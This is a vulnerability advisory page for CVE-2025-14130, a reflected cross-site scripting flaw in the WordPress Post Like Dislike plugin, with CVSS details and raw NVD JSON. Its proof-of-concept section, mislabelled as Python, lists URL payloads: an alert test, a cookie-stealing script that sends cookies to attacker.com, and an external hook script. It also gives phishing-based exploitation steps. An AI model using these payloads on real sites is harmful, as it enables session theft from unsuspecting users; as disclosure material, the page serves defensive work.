Security Vulnerability Report
中文
CVE-2025-14130 CVSS 6.1 MEDIUM

CVE-2025-14130

Published: 2026-01-07 12:16:54
Last Modified: 2026-04-15 00:35:42

Description

The Post Like Dislike plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Post Like Dislike WordPress插件 ≤ 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14130 PoC - Reflected XSS in Post Like Dislike WordPress Plugin --> <!-- Target: WordPress site with Post Like Disislike plugin <= 1.0 --> <!-- Attack Vector: Malicious URL via $_SERVER['PHP_SELF'] --> <!-- Method 1: Direct URL Injection --> <!-- http://target-wordpress-site.com/wp-admin/admin.php/"><script>alert('XSS')</script> --> <!-- Method 2: Cookie Stealing PoC --> <!-- http://target-wordpress-site.com/wp-admin/admin.php/"><script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script> --> <!-- Method 3: Beef/XSS Framework Hook --> <!-- http://target-wordpress-site.com/wp-admin/admin.php/"><script src="http://attacker.com/xss-framework.js"></script> --> <!-- Exploitation Steps: 1. Attacker crafts malicious URL with XSS payload 2. Victim is tricked into clicking the link (phishing email, social engineering) 3. Browser sends request to vulnerable endpoint 4. Server reflects unsanitized PHP_SELF value in response 5. Victim's browser executes injected JavaScript 6. Attacker steals session cookies or performs actions as victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14130", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:53.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Post Like Dislike plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Post Like Dislike para WordPress es vulnerable a cross-site scripting reflejado a través de la variable `$_SERVER['PHP_SELF']` en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/post-like-dislike/tags/1.0/post-like-dislike.php#L106", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-like-dislike/trunk/post-like-dislike.php#L106", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/598529d2-16c7-4bbd-9321-aa338c94eb36?source=cve", "source": "[email protected]"}]}}